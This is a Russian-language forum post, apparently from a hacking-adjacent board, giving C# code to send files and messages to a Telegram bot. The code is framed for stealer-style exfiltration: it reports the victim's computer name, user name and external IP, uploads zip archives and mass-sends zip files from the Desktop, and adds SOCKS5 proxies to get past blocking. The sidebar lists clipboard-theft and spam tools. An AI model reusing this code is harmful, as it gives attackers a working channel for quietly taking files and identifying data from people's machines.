- 20.06.2022
- 23 845
- 218
- 36
- Награды
- 10
- Пол
- Муж.
Репутация:
- Автор темы
- Администратор
- Модератор
- Команда форума
- #1
Создаём класс: MultipartFormBuilder.cs
И ещё один класс помощник: WebClientExtensionMethods.cs
И теперь самый главный класс с отправкой данных TGLog.cs
Отправка данных в TelegramBot
Сначала сделаем отправку без использования библиотек, напрямую по URL.
Методы для отправки можете найти
Пример вызова методов:
Используется System.Net.Http
Для отправки zip файла можно использовать ещё такой способ:
Использовать метод для отправки архива можно так:
Все методы прокомментированы, думаю объяснять ничего особо не нужно.
Теперь напишем методы с использованием библиотеки
Методы для отправки можете найти
Для отправки файл(а)ов:
Для отправки сообщения:
Используется так:
В таком случае придётся использовать ( на пример: )
Или подключать к самому TelegramBot'у.
Вот пример как подключить прокси к боту:
Для Телеграмм нужно использовать прокси от
P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:
Теперь подключаем в коде:
или так
На этом всё!
C#:
namespace TelegramSenderEx
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
public class MultipartFormBuilder
{
// https://gist.github.com/ericvoid/568d733c90857f010fb860cb5e6aba43
private static readonly string MultipartContentType = "multipart/form-data; boundary=";
private static readonly string FileHeaderTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: application/octet-stream\r\n\r\n";
private static readonly string FormDataTemplate = "\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\";\r\n\r\n{2}";
public string ContentType { get; private set; }
private string Boundary { get; set; }
Dictionary<string, FileInfo> FilesToSend { get; set; } = new Dictionary<string, FileInfo>();
Dictionary<string, string> FieldsToSend { get; set; } = new Dictionary<string, string>();
public MultipartFormBuilder()
{
Boundary = $"----------------------------{DateTime.Now.Ticks:x}";
ContentType = $"{MultipartContentType}{Boundary}";
}
public void AddField(string key, string value) => FieldsToSend.Add(key, value);
public void AddFile(FileInfo file)
{
string key = file.Extension.Substring(1);
FilesToSend.Add(key, file);
}
public void AddFile(string key, FileInfo file) => FilesToSend.Add(key, file);
public MemoryStream GetStream()
{
using var memStream = new MemoryStream();
WriteFields(memStream);
WriteStreams(memStream);
WriteTrailer(memStream);
memStream.Seek(0, SeekOrigin.Begin);
return memStream;
}
private void WriteFields(Stream stream)
{
if (FieldsToSend.Count != 0)
{
foreach (KeyValuePair<string, string> fieldEntry in FieldsToSend)
{
string content = string.Format(FormDataTemplate, Boundary, fieldEntry.Key, fieldEntry.Value);
using var fieldData = new MemoryStream(Encoding.UTF8.GetBytes(content));
fieldData.CopyTo(stream);
}
}
}
private void WriteStreams(Stream stream)
{
if (FilesToSend.Count != 0)
{
foreach (KeyValuePair<string, FileInfo> fileEntry in FilesToSend)
{
WriteBoundary(stream);
string header = string.Format(FileHeaderTemplate, fileEntry.Key, fileEntry.Value.Name);
byte[] headerbytes = Encoding.UTF8.GetBytes(header);
stream.Write(headerbytes, 0, headerbytes.Length);
using FileStream fileData = File.OpenRead(fileEntry.Value.FullName);
fileData?.CopyTo(stream);
}
}
}
private void WriteBoundary(Stream stream)
{
byte[] boundarybytes = Encoding.UTF8.GetBytes($"\r\n--{Boundary}\r\n");
stream.Write(boundarybytes, 0, boundarybytes.Length);
}
private void WriteTrailer(Stream stream)
{
byte[] trailer = Encoding.UTF8.GetBytes($"\r\n--{Boundary}--\r\n");
stream.Write(trailer, 0, trailer.Length);
}
}
}
И ещё один класс помощник: WebClientExtensionMethods.cs
C#:
namespace TelegramSenderEx
{
using System;
using System.Net;
public static class WebClientExtensionMethods
{
public static byte[] UploadMultipart(this WebClient client, string address, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, stream.ToArray());
}
public static byte[] UploadMultipart(this WebClient client, Uri address, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, stream.ToArray());
}
public static byte[] UploadMultipart(this WebClient client, string address, string method, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, method, stream.ToArray());
}
public static byte[] UploadMultipart(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, method, stream.ToArray());
}
public static void UploadMultipartAsync(this WebClient client, Uri address, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
client?.UploadDataAsync(address, stream.ToArray());
}
public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
client?.UploadDataAsync(address, method, stream.ToArray());
}
public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart, object userToken)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
client?.UploadDataAsync(address, method, stream.ToArray(), userToken);
}
}
}
И теперь самый главный класс с отправкой данных TGLog.cs
C#:
namespace TelegramSenderEx
{
using System;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.Text;
public static class TGLog
{
private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) => error.Equals(SslPolicyErrors.None);
// Разработал: r3xq1
// Справочник: https://tlgrm.ru/docs/bots/api#making-requests
/// <summary>
/// Метод для отправки архива в телеграм канал
/// </summary>
/// <param name="token">Токен канала</param>
/// <param name="chatID">Чат ID пользователя</param>
/// <param name="сaption">Заголовок сообщения</param>
/// <param name="pathToFile">Полный путь до файла</param>
private static void SendFile(string token, string chatID, string сaption, string pathToFile)
{
#region Установка протоколов безопасности для успешной отправки файлов
// (SecurityProtocolType)(0xc0 | 0x300 | 0xc00)
ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
| SecurityProtocolType.Ssl3
| (SecurityProtocolType)768 // Tls 11
| (SecurityProtocolType)3072; // Tls 12
#endregion
using var client = new WebClient { Proxy = null };
var multipart = new MultipartFormBuilder();
multipart.AddField("caption", сaption);
multipart.AddField("chat_id", chatID);
multipart.AddFile("document", new FileInfo(pathToFile)); // Добавление файла
string UploadUrl = $"https://api.telegram.org/bot{token}/sendDocument?chat_id={chatID}"; // Тут ничего изменять не нужно.
var url = new Uri(UploadUrl, UriKind.Absolute);
var rawResponse = client.UploadMultipart(url, "POST", multipart); // Отправка файла через POST
var response = Encoding.UTF8.GetString(rawResponse); // Для получения ответа...
}
}
}
Отправка данных в TelegramBot
Сначала сделаем отправку без использования библиотек, напрямую по URL.
У нас есть API сайт телеграмм:
Методы для отправки можете найти
Пример вызова методов:
Используется System.Net.Http
C#:
namespace TGbotEx
{
using System;
using System.IO;
using System.Net;
using System.Threading.Tasks;
C#:
internal static class Program
{
private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
[STAThread]
public static async Task Main()
{
C#:
string textMessage = string.Concat(
"👤 Компьютер: ", Environment.MachineName,
"\n 🏴 Пользователь: ", Environment.UserName,
"\n 🌐 IP: ", GetIP("https://api.ipify.org"));
string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии
string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу
await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
Console.Read();
}
// Метод для получения IP адреса
private static string GetIP(string url)
{
string result = string.Empty;
try
{
var Link = new Uri(url);
using (var client = new WebClient())
{
result = client.DownloadString(Link);
}
}
catch { }
return result;
}
}
}
Для отправки zip файла можно использовать ещё такой способ:
Использовать метод для отправки архива можно так:
C#:
string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");
C#:
var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine($"⚡️ Архив прислан от: {Environment.UserName}");
CaptionBuild.AppendLine($"👤 Компьютер: {Environment.MachineName}");
CaptionBuild.AppendLine($"🏴 Пользователь: {Environment.UserName}");
CaptionBuild.AppendLine($"🌐 IP: {GetIP("https://api.ipify.org")}");
CaptionBuild.AppendLine("");
CaptionBuild.AppendLine("Developed by r3xq1");
C#:
SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);
Все методы прокомментированы, думаю объяснять ничего особо не нужно.
Теперь напишем методы с использованием библиотеки
Методы для отправки можете найти
C#:
private static TelegramBotClient bot;
C#:
/// <summary>
/// Асинхронный метод для отправки файла в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="filename">Полный путь к файлу</param>
/// <returns></returns>
public static async Task AsyncSendFile(string token, int? chatId, string filename)
{
if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
{
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
bot = new TelegramBotClient(token);
// using (var stream = System.IO.File.Open(filename, FileMode.Open))
using (FileStream stream = System.IO.File.OpenRead(filename))
{
string ssf = Path.GetFileName(filename);
var Iof = new InputOnlineFile(stream, ssf);
string fromsend = $"Файл отправлен от: {Environment.UserName}";
Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend);
}
}
catch (Exception ex)
{
System.IO.File.WriteAllText("AsyncSendFile_Error.txt", $"{ex.Message}{Environment.NewLine}");
}
}}
Для отправки сообщения:
C#:
/// <summary>
/// Асинхронный метод для отправки текста в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="textMessage">Сообщение для отправки</param>
/// <returns></returns>
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
{
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
bot = new TelegramBotClient(token);
Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
}
catch (Exception ex)
{
System.IO.File.WriteAllText("AsyncSendText_Error.txt", $"{ex.Message}{Environment.NewLine}");
}
}
}
Используется так:
C#:
await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zip
ProxyServer - Подключаем прокси
Немного о том, что делать если блокирует отправку/получения данных из/в телеграмм?!В таком случае придётся использовать ( на пример: )
Или подключать к самому TelegramBot'у.
Вот пример как подключить прокси к боту:
Для Телеграмм нужно использовать прокси от
P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:
Теперь подключаем в коде:
Код:
var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);
или так
Код:
var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password);
client.Proxy = proxy;
На этом всё!
Последние темы в этом разделе:
- TGwDS - объединение телеграм группы и дискорда
- SF-SPN - Оповещения при входе / выходе игрока с сервера.
- Скрипт Телеграм бот для отслеживания статистики игры в Dota 2
- Кража данных из буфера обмена с записью в файл
- Запрет на запуск дубликат программы (Mutex)
- Dotabuff Parser - Парсер статистики пиков Dota 2
- Простой чат-спамер для Twitch
- Скрипт Telegram бот для отправки NSFW в публичные чаты
- Простой спамер для анонимных чатов Telegram
- JCorePanel - Удобная панель для управления большим количеством аккаунтов Steam